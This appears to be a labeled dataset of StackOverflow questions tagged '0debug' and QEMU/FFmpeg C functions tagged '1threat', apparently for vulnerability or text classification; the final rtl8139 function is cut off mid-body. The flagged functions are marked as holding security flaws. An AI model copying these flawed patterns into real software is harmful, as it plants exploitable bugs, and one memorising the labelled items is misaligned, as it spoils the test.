<p>I have also looked into making the ACL for the bucket <code>public-read</code>. My only problem with this is that it removes my ownership over the bucket. I need to have that ownership since I want to allow uploading from a specific Google Access Id.</p>
| 0debug |
static inline void gen_ins(DisasContext *s, TCGMemOp ot)
{
if (use_icount)
gen_io_start();
gen_string_movl_A0_EDI(s);
tcg_gen_movi_tl(cpu_T[0], 0);
gen_op_st_v(s, ot, cpu_T[0], cpu_A0);
tcg_gen_trunc_tl_i32(cpu_tmp2_i32, cpu_regs[R_EDX]);
tcg_gen_andi_i32(cpu_tmp2_i32, cpu_tmp2_i32, 0xffff);
gen_helper_in_func(ot, cpu_T[0], cpu_tmp2_i32);
gen_op_st_v(s, ot, cpu_T[0], cpu_A0);
gen_op_movl_T0_Dshift(ot);
gen_op_add_reg_T0(s->aflag, R_EDI);
if (use_icount)
gen_io_end();
}
| 1threat |
static int alloc_sequence_buffers(DiracContext *s)
{
int sbwidth = DIVRNDUP(s->source.width, 4);
int sbheight = DIVRNDUP(s->source.height, 4);
int i, w, h, top_padding;
for (i = 0; i < 3; i++) {
int max_xblen = MAX_BLOCKSIZE >> (i ? s->chroma_x_shift : 0);
int max_yblen = MAX_BLOCKSIZE >> (i ? s->chroma_y_shift : 0);
w = s->source.width >> (i ? s->chroma_x_shift : 0);
h = s->source.height >> (i ? s->chroma_y_shift : 0);
top_padding = FFMAX(1<<MAX_DWT_LEVELS, max_yblen/2);
w = FFALIGN(CALC_PADDING(w, MAX_DWT_LEVELS), 8);
h = top_padding + CALC_PADDING(h, MAX_DWT_LEVELS) + max_yblen/2;
s->plane[i].idwt_buf_base = av_mallocz_array((w+max_xblen), h * sizeof(IDWTELEM));
s->plane[i].idwt_tmp = av_malloc_array((w+16), sizeof(IDWTELEM));
s->plane[i].idwt_buf = s->plane[i].idwt_buf_base + top_padding*w;
if (!s->plane[i].idwt_buf_base || !s->plane[i].idwt_tmp)
return AVERROR(ENOMEM);
}
w = s->source.width;
h = s->source.height;
s->sbsplit = av_malloc_array(sbwidth, sbheight);
s->blmotion = av_malloc_array(sbwidth, sbheight * 16 * sizeof(*s->blmotion));
s->edge_emu_buffer_base = av_malloc_array((w+64), MAX_BLOCKSIZE);
s->mctmp = av_malloc_array((w+64+MAX_BLOCKSIZE), (h+MAX_BLOCKSIZE) * sizeof(*s->mctmp));
s->mcscratch = av_malloc_array((w+64), MAX_BLOCKSIZE);
if (!s->sbsplit || !s->blmotion || !s->mctmp || !s->mcscratch)
return AVERROR(ENOMEM);
return 0;
}
| 1threat |
Horizontall Scrolling Card View - Nadroid : I am trying to find a way to do the below design in android. But i am not able to find a solution to it. Can anyone give me a solution to it.
[![enter image description here][1]][1]
[1]: http://i.stack.imgur.com/AdL9q.jpg
| 0debug |
bool io_mem_write(MemoryRegion *mr, hwaddr addr,
uint64_t val, unsigned size)
{
return memory_region_dispatch_write(mr, addr, val, size);
}
| 1threat |
Android studio 3.1 run command does not rebuild the APK : <p>This is very annoying aspect of the new android studio version 3.1, I used to launch run command after every code changes, the IDE rebuilds the (whole project & APK) and then deploys it on the target device.</p>
<p>Then after upgrading to version 3.1, the run command does not rebuild the apk any more, and displays the following error messages.</p>
<blockquote>
<p>android studio 3.1 Session 'app': Error Installing APK</p>
<p>android studio 3.1 The APK file Error while Installing APK</p>
</blockquote>
<p>so I have click on" rebuild & run" each time I make code modification, how can I restore the old behavior of version 3.0.1</p>
| 0debug |
Typescript error TS2339: Property 'webkitURL' does not exist on type 'Window' : <p>Using Angular 2 on a project which is compiled with typescript.</p>
<p>Getting this error when trying to create a blob image:</p>
<p><code>error TS2339: Property 'webkitURL' does not exist on type 'Window'</code></p>
<p>ts code is:</p>
<p><code>public url = window.URL || window.webkitURL;
this.photo = this.url.createObjectURL( res );
</code></p>
| 0debug |
static void mv88w8618_register_devices(void)
{
#ifdef HAS_AUDIO
sysbus_register_withprop(&mv88w8618_audio_info);
#endif
}
| 1threat |
KSQL ( Confluent ) VS Hive Kafka SQL ( Hortanworks ) : <blockquote>
<p>What are the difference ?
which one is better ?
when to use ?</p>
</blockquote>
<p><a href="https://hortonworks.com/blog/introducing-hive-kafka-sql/" rel="nofollow noreferrer">Hive Kafka SQL</a></p>
<p><a href="https://www.confluent.io/product/ksql/" rel="nofollow noreferrer">KSQL</a></p>
| 0debug |
Why do I get an conversion error in android using R.string? : <p>My file <code>strings.xml</code> looks like the following:</p>
<pre><code><resources>
<string name="app_name">BootIntervals</string>
<string name="action_settings">Settings</string>
<string name="logname">"bi2.log"</string>
</resources>
</code></pre>
<p>and later I call a method </p>
<pre><code> logger.init(R.string.logname);
</code></pre>
<p>which takes a <code>String</code> as argument. However, I get the following error:</p>
<pre><code>Error:(21, 15) error: method init in class MyLogger cannot be applied to given types;
required: String
found: int
reason: actual argument int cannot be converted to String by method invocation conversion
</code></pre>
<p>It does not matter if I use <code>bi2.log</code> or <code>"bi2.log"</code> in <code>strings.xml</code>. What do I make wrong this time? I do not understand why <code>R.string.logname</code> is an integer...</p>
| 0debug |
static CharDriverState *qemu_chr_open_pty(const char *id,
ChardevBackend *backend,
ChardevReturn *ret,
Error **errp)
{
CharDriverState *chr;
PtyCharDriver *s;
int master_fd, slave_fd;
char pty_name[PATH_MAX];
master_fd = qemu_openpty_raw(&slave_fd, pty_name);
if (master_fd < 0) {
error_setg_errno(errp, errno, "Failed to create PTY");
return NULL;
}
close(slave_fd);
qemu_set_nonblock(master_fd);
chr = qemu_chr_alloc();
chr->filename = g_strdup_printf("pty:%s", pty_name);
ret->pty = g_strdup(pty_name);
ret->has_pty = true;
fprintf(stderr, "char device redirected to %s (label %s)\n",
pty_name, id);
s = g_new0(PtyCharDriver, 1);
chr->opaque = s;
chr->chr_write = pty_chr_write;
chr->chr_update_read_handler = pty_chr_update_read_handler;
chr->chr_close = pty_chr_close;
chr->chr_add_watch = pty_chr_add_watch;
chr->explicit_be_open = true;
s->fd = io_channel_from_fd(master_fd);
s->timer_tag = 0;
return chr;
}
| 1threat |
Pseudo code example : <p>I am new to programming in general and I am trying to learn the basics of it. Could someone explain me the concept of Pseudo code. I have already done some research but an additional help would be great. As an example, what would pseudo code for making a peanut butter and jelly sandwich would look like?</p>
<p>-Thank you.</p>
| 0debug |
static inline void RENAME(rgb24toyv12)(const uint8_t *src, uint8_t *ydst, uint8_t *udst, uint8_t *vdst,
long width, long height,
long lumStride, long chromStride, long srcStride)
{
long y;
const long chromWidth= width>>1;
#ifdef HAVE_MMX
for(y=0; y<height-2; y+=2)
{
long i;
for(i=0; i<2; i++)
{
asm volatile(
"mov %2, %%"REG_a" \n\t"
"movq "MANGLE(bgr2YCoeff)", %%mm6 \n\t"
"movq "MANGLE(w1111)", %%mm5 \n\t"
"pxor %%mm7, %%mm7 \n\t"
"lea (%%"REG_a", %%"REG_a", 2), %%"REG_d"\n\t"
ASMALIGN(4)
"1: \n\t"
PREFETCH" 64(%0, %%"REG_d") \n\t"
"movd (%0, %%"REG_d"), %%mm0 \n\t"
"movd 3(%0, %%"REG_d"), %%mm1 \n\t"
"punpcklbw %%mm7, %%mm0 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"movd 6(%0, %%"REG_d"), %%mm2 \n\t"
"movd 9(%0, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"pmaddwd %%mm6, %%mm0 \n\t"
"pmaddwd %%mm6, %%mm1 \n\t"
"pmaddwd %%mm6, %%mm2 \n\t"
"pmaddwd %%mm6, %%mm3 \n\t"
#ifndef FAST_BGR2YV12
"psrad $8, %%mm0 \n\t"
"psrad $8, %%mm1 \n\t"
"psrad $8, %%mm2 \n\t"
"psrad $8, %%mm3 \n\t"
#endif
"packssdw %%mm1, %%mm0 \n\t"
"packssdw %%mm3, %%mm2 \n\t"
"pmaddwd %%mm5, %%mm0 \n\t"
"pmaddwd %%mm5, %%mm2 \n\t"
"packssdw %%mm2, %%mm0 \n\t"
"psraw $7, %%mm0 \n\t"
"movd 12(%0, %%"REG_d"), %%mm4 \n\t"
"movd 15(%0, %%"REG_d"), %%mm1 \n\t"
"punpcklbw %%mm7, %%mm4 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"movd 18(%0, %%"REG_d"), %%mm2 \n\t"
"movd 21(%0, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"pmaddwd %%mm6, %%mm4 \n\t"
"pmaddwd %%mm6, %%mm1 \n\t"
"pmaddwd %%mm6, %%mm2 \n\t"
"pmaddwd %%mm6, %%mm3 \n\t"
#ifndef FAST_BGR2YV12
"psrad $8, %%mm4 \n\t"
"psrad $8, %%mm1 \n\t"
"psrad $8, %%mm2 \n\t"
"psrad $8, %%mm3 \n\t"
#endif
"packssdw %%mm1, %%mm4 \n\t"
"packssdw %%mm3, %%mm2 \n\t"
"pmaddwd %%mm5, %%mm4 \n\t"
"pmaddwd %%mm5, %%mm2 \n\t"
"add $24, %%"REG_d" \n\t"
"packssdw %%mm2, %%mm4 \n\t"
"psraw $7, %%mm4 \n\t"
"packuswb %%mm4, %%mm0 \n\t"
"paddusb "MANGLE(bgr2YOffset)", %%mm0 \n\t"
MOVNTQ" %%mm0, (%1, %%"REG_a") \n\t"
"add $8, %%"REG_a" \n\t"
" js 1b \n\t"
: : "r" (src+width*3), "r" (ydst+width), "g" (-width)
: "%"REG_a, "%"REG_d
);
ydst += lumStride;
src += srcStride;
}
src -= srcStride*2;
asm volatile(
"mov %4, %%"REG_a" \n\t"
"movq "MANGLE(w1111)", %%mm5 \n\t"
"movq "MANGLE(bgr2UCoeff)", %%mm6 \n\t"
"pxor %%mm7, %%mm7 \n\t"
"lea (%%"REG_a", %%"REG_a", 2), %%"REG_d"\n\t"
"add %%"REG_d", %%"REG_d" \n\t"
ASMALIGN(4)
"1: \n\t"
PREFETCH" 64(%0, %%"REG_d") \n\t"
PREFETCH" 64(%1, %%"REG_d") \n\t"
#if defined (HAVE_MMX2) || defined (HAVE_3DNOW)
"movq (%0, %%"REG_d"), %%mm0 \n\t"
"movq (%1, %%"REG_d"), %%mm1 \n\t"
"movq 6(%0, %%"REG_d"), %%mm2 \n\t"
"movq 6(%1, %%"REG_d"), %%mm3 \n\t"
PAVGB" %%mm1, %%mm0 \n\t"
PAVGB" %%mm3, %%mm2 \n\t"
"movq %%mm0, %%mm1 \n\t"
"movq %%mm2, %%mm3 \n\t"
"psrlq $24, %%mm0 \n\t"
"psrlq $24, %%mm2 \n\t"
PAVGB" %%mm1, %%mm0 \n\t"
PAVGB" %%mm3, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm0 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
#else
"movd (%0, %%"REG_d"), %%mm0 \n\t"
"movd (%1, %%"REG_d"), %%mm1 \n\t"
"movd 3(%0, %%"REG_d"), %%mm2 \n\t"
"movd 3(%1, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm0 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"paddw %%mm1, %%mm0 \n\t"
"paddw %%mm3, %%mm2 \n\t"
"paddw %%mm2, %%mm0 \n\t"
"movd 6(%0, %%"REG_d"), %%mm4 \n\t"
"movd 6(%1, %%"REG_d"), %%mm1 \n\t"
"movd 9(%0, %%"REG_d"), %%mm2 \n\t"
"movd 9(%1, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm4 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"paddw %%mm1, %%mm4 \n\t"
"paddw %%mm3, %%mm2 \n\t"
"paddw %%mm4, %%mm2 \n\t"
"psrlw $2, %%mm0 \n\t"
"psrlw $2, %%mm2 \n\t"
#endif
"movq "MANGLE(bgr2VCoeff)", %%mm1 \n\t"
"movq "MANGLE(bgr2VCoeff)", %%mm3 \n\t"
"pmaddwd %%mm0, %%mm1 \n\t"
"pmaddwd %%mm2, %%mm3 \n\t"
"pmaddwd %%mm6, %%mm0 \n\t"
"pmaddwd %%mm6, %%mm2 \n\t"
#ifndef FAST_BGR2YV12
"psrad $8, %%mm0 \n\t"
"psrad $8, %%mm1 \n\t"
"psrad $8, %%mm2 \n\t"
"psrad $8, %%mm3 \n\t"
#endif
"packssdw %%mm2, %%mm0 \n\t"
"packssdw %%mm3, %%mm1 \n\t"
"pmaddwd %%mm5, %%mm0 \n\t"
"pmaddwd %%mm5, %%mm1 \n\t"
"packssdw %%mm1, %%mm0 \n\t"
"psraw $7, %%mm0 \n\t"
#if defined (HAVE_MMX2) || defined (HAVE_3DNOW)
"movq 12(%0, %%"REG_d"), %%mm4 \n\t"
"movq 12(%1, %%"REG_d"), %%mm1 \n\t"
"movq 18(%0, %%"REG_d"), %%mm2 \n\t"
"movq 18(%1, %%"REG_d"), %%mm3 \n\t"
PAVGB" %%mm1, %%mm4 \n\t"
PAVGB" %%mm3, %%mm2 \n\t"
"movq %%mm4, %%mm1 \n\t"
"movq %%mm2, %%mm3 \n\t"
"psrlq $24, %%mm4 \n\t"
"psrlq $24, %%mm2 \n\t"
PAVGB" %%mm1, %%mm4 \n\t"
PAVGB" %%mm3, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm4 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
#else
"movd 12(%0, %%"REG_d"), %%mm4 \n\t"
"movd 12(%1, %%"REG_d"), %%mm1 \n\t"
"movd 15(%0, %%"REG_d"), %%mm2 \n\t"
"movd 15(%1, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm4 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"paddw %%mm1, %%mm4 \n\t"
"paddw %%mm3, %%mm2 \n\t"
"paddw %%mm2, %%mm4 \n\t"
"movd 18(%0, %%"REG_d"), %%mm5 \n\t"
"movd 18(%1, %%"REG_d"), %%mm1 \n\t"
"movd 21(%0, %%"REG_d"), %%mm2 \n\t"
"movd 21(%1, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm5 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"paddw %%mm1, %%mm5 \n\t"
"paddw %%mm3, %%mm2 \n\t"
"paddw %%mm5, %%mm2 \n\t"
"movq "MANGLE(w1111)", %%mm5 \n\t"
"psrlw $2, %%mm4 \n\t"
"psrlw $2, %%mm2 \n\t"
#endif
"movq "MANGLE(bgr2VCoeff)", %%mm1 \n\t"
"movq "MANGLE(bgr2VCoeff)", %%mm3 \n\t"
"pmaddwd %%mm4, %%mm1 \n\t"
"pmaddwd %%mm2, %%mm3 \n\t"
"pmaddwd %%mm6, %%mm4 \n\t"
"pmaddwd %%mm6, %%mm2 \n\t"
#ifndef FAST_BGR2YV12
"psrad $8, %%mm4 \n\t"
"psrad $8, %%mm1 \n\t"
"psrad $8, %%mm2 \n\t"
"psrad $8, %%mm3 \n\t"
#endif
"packssdw %%mm2, %%mm4 \n\t"
"packssdw %%mm3, %%mm1 \n\t"
"pmaddwd %%mm5, %%mm4 \n\t"
"pmaddwd %%mm5, %%mm1 \n\t"
"add $24, %%"REG_d" \n\t"
"packssdw %%mm1, %%mm4 \n\t"
"psraw $7, %%mm4 \n\t"
"movq %%mm0, %%mm1 \n\t"
"punpckldq %%mm4, %%mm0 \n\t"
"punpckhdq %%mm4, %%mm1 \n\t"
"packsswb %%mm1, %%mm0 \n\t"
"paddb "MANGLE(bgr2UVOffset)", %%mm0 \n\t"
"movd %%mm0, (%2, %%"REG_a") \n\t"
"punpckhdq %%mm0, %%mm0 \n\t"
"movd %%mm0, (%3, %%"REG_a") \n\t"
"add $4, %%"REG_a" \n\t"
" js 1b \n\t"
: : "r" (src+chromWidth*6), "r" (src+srcStride+chromWidth*6), "r" (udst+chromWidth), "r" (vdst+chromWidth), "g" (-chromWidth)
: "%"REG_a, "%"REG_d
);
udst += chromStride;
vdst += chromStride;
src += srcStride*2;
}
asm volatile( EMMS" \n\t"
SFENCE" \n\t"
:::"memory");
#else
y=0;
#endif
for(; y<height; y+=2)
{
long i;
for(i=0; i<chromWidth; i++)
{
unsigned int b= src[6*i+0];
unsigned int g= src[6*i+1];
unsigned int r= src[6*i+2];
unsigned int Y = ((RY*r + GY*g + BY*b)>>RGB2YUV_SHIFT) + 16;
unsigned int V = ((RV*r + GV*g + BV*b)>>RGB2YUV_SHIFT) + 128;
unsigned int U = ((RU*r + GU*g + BU*b)>>RGB2YUV_SHIFT) + 128;
udst[i] = U;
vdst[i] = V;
ydst[2*i] = Y;
b= src[6*i+3];
g= src[6*i+4];
r= src[6*i+5];
Y = ((RY*r + GY*g + BY*b)>>RGB2YUV_SHIFT) + 16;
ydst[2*i+1] = Y;
}
ydst += lumStride;
src += srcStride;
for(i=0; i<chromWidth; i++)
{
unsigned int b= src[6*i+0];
unsigned int g= src[6*i+1];
unsigned int r= src[6*i+2];
unsigned int Y = ((RY*r + GY*g + BY*b)>>RGB2YUV_SHIFT) + 16;
ydst[2*i] = Y;
b= src[6*i+3];
g= src[6*i+4];
r= src[6*i+5];
Y = ((RY*r + GY*g + BY*b)>>RGB2YUV_SHIFT) + 16;
ydst[2*i+1] = Y;
}
udst += chromStride;
vdst += chromStride;
ydst += lumStride;
src += srcStride;
}
}
| 1threat |
Free problems in C language : I'm working on a project in C language. The purpose of the project is to code a function that returns the next line of a file every time it's called.
I'm only allowed to use the malloc, free and read functions.
Here's the errors I'm getting :
[Errors][1]
[1]: http://i.stack.imgur.com/VYh0l.jpg
And here's my code :
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "get_next_line.h"
int my_putstr(char *str)
{
int i;
if (str == NULL)
return (1);
i = 0;
while (str[i] != '\0')
{
write(1, &str[i], 1);
i = i + 1;
}
return (0);
}
char *my_strcpy(char *src, char *dest)
{
int i;
int r;
r = 0;
i = 0;
if (src == NULL)
return (dest);
while (dest != NULL && dest[i] != '\0')
i = i + 1;
while (src[r] != '\0')
{
dest[i] = src[r];
i = i + 1;
r = r + 1;
}
dest[i] = '\0';
return (dest);
}
int check_back_n(t_stock *stock)
{
int i;
if (stock->save == NULL)
return (1);
i = 0;
while (stock->save[i] != '\0')
{
if (stock->save[i] == '\n')
return (0);
i = i + 1;
}
return (1);
}
int my_realloc(t_stock *stock)
{
if ((stock->temp = malloc(sizeof(char) *
(READ_SIZE * stock->counter) + 1)) == NULL)
return (1);
stock->temp = my_strcpy(stock->save, stock->temp);
free(stock->save);
if ((stock->save = malloc(sizeof(char) *
(READ_SIZE * (stock->counter + 1)) + 1)) == NULL)
return (1);
stock->save = my_strcpy(stock->temp, stock->save);
free(stock->temp);
return (0);
}
char *fill_over(t_stock *stock, char *over)
{
stock->r = 0;
stock->i = 0;
while (stock->save[stock->i] != '\n')
stock->i = stock->i + 1;
stock->save[stock->i] = '\0';
stock->i = stock->i + 1;
if ((over = malloc(sizeof(char) * READ_SIZE) + 1) == NULL)
return (NULL);
while (stock->save[stock->i] != '\0')
{
stock->save[stock->i] = over[stock->r];
stock->save[stock->i] = '\0';
stock->i = stock->i + 1;
stock->r = stock->r + 1;
}
return (over);
}
char *get_next_line(const int fd)
{
t_stock stock;
static char *over;
stock.counter = 2;
if ((stock.save = malloc(sizeof(char) * READ_SIZE) + 1) == NULL)
return (NULL);
stock.save = my_strcpy(over, stock.save);
free(over);
while (check_back_n(&stock) == 1)
{
if (my_realloc(&stock) == 1)
return (NULL);
if ((stock.buffer = malloc(sizeof(char) * READ_SIZE) + 1) == NULL)
return (NULL);
if ((stock.read_return = read(fd, stock.buffer, READ_SIZE)) == -1||
(stock.read_return == 0))
return (stock.save);
stock.counter = stock.counter + 1;
stock.save = my_strcpy(stock.buffer, stock.save);
free(stock.buffer);
}
if ((over = fill_over(&stock, over)) == NULL)
return (NULL);
return (stock.save);
}
int main()
{
char *s;
int fd;
fd = open("test", O_RDONLY);
while (s = get_next_line(fd))
{
my_putstr(s);
write(1, "\n", 1);
free(s);
}
return (0);
}
| 0debug |
static void cpu_ioreq_move(ioreq_t *req)
{
int i, sign;
sign = req->df ? -1 : 1;
if (!req->data_is_ptr) {
if (req->dir == IOREQ_READ) {
for (i = 0; i < req->count; i++) {
cpu_physical_memory_read(
req->addr + (sign * i * (int64_t)req->size),
(uint8_t *) &req->data, req->size);
}
} else if (req->dir == IOREQ_WRITE) {
for (i = 0; i < req->count; i++) {
cpu_physical_memory_write(
req->addr + (sign * i * (int64_t)req->size),
(uint8_t *) &req->data, req->size);
}
}
} else {
uint64_t tmp;
if (req->dir == IOREQ_READ) {
for (i = 0; i < req->count; i++) {
cpu_physical_memory_read(
req->addr + (sign * i * (int64_t)req->size),
(uint8_t*) &tmp, req->size);
cpu_physical_memory_write(
req->data + (sign * i * (int64_t)req->size),
(uint8_t*) &tmp, req->size);
}
} else if (req->dir == IOREQ_WRITE) {
for (i = 0; i < req->count; i++) {
cpu_physical_memory_read(
req->data + (sign * i * (int64_t)req->size),
(uint8_t*) &tmp, req->size);
cpu_physical_memory_write(
req->addr + (sign * i * (int64_t)req->size),
(uint8_t*) &tmp, req->size);
}
}
}
}
| 1threat |
incorrect input is treated as correct : i made this for an assignment but even if i feed in input out of the desired range i still get the output, for the first section the wrong input is
shown as wrong but for the second part no matter what i always get output
#include <iostream>
#include <stdio.h>
#include <iomanip>
#include <cstdio>
#include <fstream>
#include <string>
using namespace std;
bool setupGame(int numberRef, int triesRef);
int main(){
cout<<"hello world";
setupGame(4,4);
cout<<"enough";
}
//SETUP GAME FUNCTION
bool setupGame(int numberRef, int triesRef) {
do {
cout << "ENTER A NUMBER BETWEEN 1 and 100" << endl;
cin >> numberRef;
cin.clear();
//your code here
cout << "You entered: " << numberRef << endl;
if (numberRef==-1) {
cout << "You do not want to set a number " << endl;
cout << "so you stopped the program" << endl;
}
else if(numberRef >=1 && numberRef <=100)
do {
cout << "ENTER TRIES BETWEEN 3 and 7" << endl;
cin >> triesRef;
cin.clear();
//cin.ignore( '\n');
cout<< "You entered: "<< triesRef<< endl;
if (triesRef==-1) {
cout << "You do not want to set tries. ";
cout << "so you stopped the program" << endl;
} else if(triesRef <= 3 && triesRef >= 7){
cout<<"Number of tries should be between 3 and 7";
}
}
while(numberRef >=1 && numberRef <=100);{
return true; }
}
while(triesRef >= 3 && triesRef <= 7);{
return true;
} } | 0debug |
in javafx, How to draw a line in javaFX :/ : I am a beginner at javaFX and started today i think so i want how to draw line and when i make a new group and put a line object it gives me an error like:
Group group = new Group(line); | 0debug |
static ssize_t rtl8139_do_receive(NetClientState *nc, const uint8_t *buf, size_t size_, int do_interrupt)
{
RTL8139State *s = qemu_get_nic_opaque(nc);
PCIDevice *d = PCI_DEVICE(s);
int size = size_;
const uint8_t *dot1q_buf = NULL;
uint32_t packet_header = 0;
uint8_t buf1[MIN_BUF_SIZE + VLAN_HLEN];
static const uint8_t broadcast_macaddr[6] =
{ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };
DPRINTF(">>> received len=%d\n", size);
if (!s->clock_enabled)
{
DPRINTF("stopped ==========================\n");
return -1;
}
if (!rtl8139_receiver_enabled(s))
{
DPRINTF("receiver disabled ================\n");
return -1;
}
if (s->RxConfig & AcceptAllPhys) {
DPRINTF(">>> packet received in promiscuous mode\n");
} else {
if (!memcmp(buf, broadcast_macaddr, 6)) {
if (!(s->RxConfig & AcceptBroadcast))
{
DPRINTF(">>> broadcast packet rejected\n");
++s->tally_counters.RxERR;
return size;
}
packet_header |= RxBroadcast;
DPRINTF(">>> broadcast packet received\n");
++s->tally_counters.RxOkBrd;
} else if (buf[0] & 0x01) {
if (!(s->RxConfig & AcceptMulticast))
{
DPRINTF(">>> multicast packet rejected\n");
++s->tally_counters.RxERR;
return size;
}
int mcast_idx = compute_mcast_idx(buf);
if (!(s->mult[mcast_idx >> 3] & (1 << (mcast_idx & 7))))
{
DPRINTF(">>> multicast address mismatch\n");
++s->tally_counters.RxERR;
return size;
}
packet_header |= RxMulticast;
DPRINTF(">>> multicast packet received\n");
++s->tally_counters.RxOkMul;
} else if (s->phys[0] == buf[0] &&
s->phys[1] == buf[1] &&
s->phys[2] == buf[2] &&
s->phys[3] == buf[3] &&
s->phys[4] == buf[4] &&
s->phys[5] == buf[5]) {
if (!(s->RxConfig & AcceptMyPhys))
{
DPRINTF(">>> rejecting physical address matching packet\n");
++s->tally_counters.RxERR;
return size;
}
packet_header |= RxPhysical;
DPRINTF(">>> physical address matching packet received\n");
++s->tally_counters.RxOkPhy;
} else {
DPRINTF(">>> unknown packet\n");
++s->tally_counters.RxERR;
return size;
}
}
if (size < MIN_BUF_SIZE + VLAN_HLEN) {
memcpy(buf1, buf, size);
memset(buf1 + size, 0, MIN_BUF_SIZE + VLAN_HLEN - size);
buf = buf1;
if (size < MIN_BUF_SIZE) {
size = MIN_BUF_SIZE;
}
}
if (rtl8139_cp_receiver_enabled(s))
{
if (!rtl8139_cp_rx_valid(s)) {
return size;
}
DPRINTF("in C+ Rx mode ================\n");
#define CP_RX_OWN (1<<31)
#define CP_RX_EOR (1<<30)
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)
#define CP_RX_TAVA (1<<16)
#define CP_RX_VLAN_TAG_MASK ((1<<16) - 1)
int descriptor = s->currCPlusRxDesc;
dma_addr_t cplus_rx_ring_desc;
cplus_rx_ring_desc = rtl8139_addr64(s->RxRingAddrLO, s->RxRingAddrHI);
cplus_rx_ring_desc += 16 * descriptor;
DPRINTF("+++ C+ mode reading RX descriptor %d from host memory at "
"%08x %08x = "DMA_ADDR_FMT"\n", descriptor, s->RxRingAddrHI,
s->RxRingAddrLO, cplus_rx_ring_desc);
uint32_t val, rxdw0,rxdw1,rxbufLO,rxbufHI;
pci_dma_read(d, cplus_rx_ring_desc, &val, 4);
rxdw0 = le32_to_cpu(val);
pci_dma_read(d, cplus_rx_ring_desc+4, &val, 4);
rxdw1 = le32_to_cpu(val);
pci_dma_read(d, cplus_rx_ring_desc+8, &val, 4);
rxbufLO = le32_to_cpu(val);
pci_dma_read(d, cplus_rx_ring_desc+12, &val, 4);
rxbufHI = le32_to_cpu(val);
DPRINTF("+++ C+ mode RX descriptor %d %08x %08x %08x %08x\n",
descriptor, rxdw0, rxdw1, rxbufLO, rxbufHI);
if (!(rxdw0 & CP_RX_OWN))
{
DPRINTF("C+ Rx mode : descriptor %d is owned by host\n",
descriptor);
s->IntrStatus |= RxOverflow;
++s->RxMissed;
++s->tally_counters.RxERR;
++s->tally_counters.MissPkt;
rtl8139_update_irq(s);
return size_;
}
uint32_t rx_space = rxdw0 & CP_RX_BUFFER_SIZE_MASK;
if (s->CpCmd & CPlusRxVLAN && be16_to_cpup((uint16_t *)
&buf[ETH_ALEN * 2]) == ETH_P_VLAN) {
dot1q_buf = &buf[ETH_ALEN * 2];
size -= VLAN_HLEN;
if (size < MIN_BUF_SIZE) {
size = MIN_BUF_SIZE;
}
rxdw1 &= ~CP_RX_VLAN_TAG_MASK;
rxdw1 |= CP_RX_TAVA | le16_to_cpup((uint16_t *)
&dot1q_buf[ETHER_TYPE_LEN]);
DPRINTF("C+ Rx mode : extracted vlan tag with tci: ""%u\n",
be16_to_cpup((uint16_t *)&dot1q_buf[ETHER_TYPE_LEN]));
} else {
rxdw1 &= ~CP_RX_TAVA;
}
if (size+4 > rx_space)
{
DPRINTF("C+ Rx mode : descriptor %d size %d received %d + 4\n",
descriptor, rx_space, size);
s->IntrStatus |= RxOverflow;
++s->RxMissed;
++s->tally_counters.RxERR;
++s->tally_counters.MissPkt;
rtl8139_update_irq(s);
return size_;
}
dma_addr_t rx_addr = rtl8139_addr64(rxbufLO, rxbufHI);
if (dot1q_buf) {
pci_dma_write(d, rx_addr, buf, 2 * ETH_ALEN);
pci_dma_write(d, rx_addr + 2 * ETH_ALEN,
buf + 2 * ETH_ALEN + VLAN_HLEN,
size - 2 * ETH_ALEN);
} else {
pci_dma_write(d, rx_addr, buf, size);
}
if (s->CpCmd & CPlusRxChkSum)
{
}
val = cpu_to_le32(crc32(0, buf, size_));
pci_dma_write(d, rx_addr+size, (uint8_t *)&val, 4);
#define CP_RX_STATUS_FS (1<<29)
#define CP_RX_STATUS_LS (1<<28)
#define CP_RX_STATUS_MAR (1<<26)
#define CP_RX_STATUS_PAM (1<<25)
#define CP_RX_STATUS_BAR (1<<24)
#define CP_RX_STATUS_RUNT (1<<19)
#define CP_RX_STATUS_CRC (1<<18)
#define CP_RX_STATUS_IPF (1<<15)
#define CP_RX_STATUS_UDPF (1<<14)
#define CP_RX_STATUS_TCPF (1<<13)
rxdw0 &= ~CP_RX_OWN;
rxdw0 |= CP_RX_STATUS_FS;
rxdw0 |= CP_RX_STATUS_LS;
if (packet_header & RxBroadcast)
rxdw0 |= CP_RX_STATUS_BAR;
if (packet_header & RxMulticast)
rxdw0 |= CP_RX_STATUS_MAR;
if (packet_header & RxPhysical)
rxdw0 |= CP_RX_STATUS_PAM;
rxdw0 &= ~CP_RX_BUFFER_SIZE_MASK;
rxdw0 |= (size+4);
val = cpu_to_le32(rxdw0);
pci_dma_write(d, cplus_rx_ring_desc, (uint8_t *)&val, 4);
val = cpu_to_le32(rxdw1);
pci_dma_write(d, cplus_rx_ring_desc+4, (uint8_t *)&val, 4);
++s->tally_counters.RxOk;
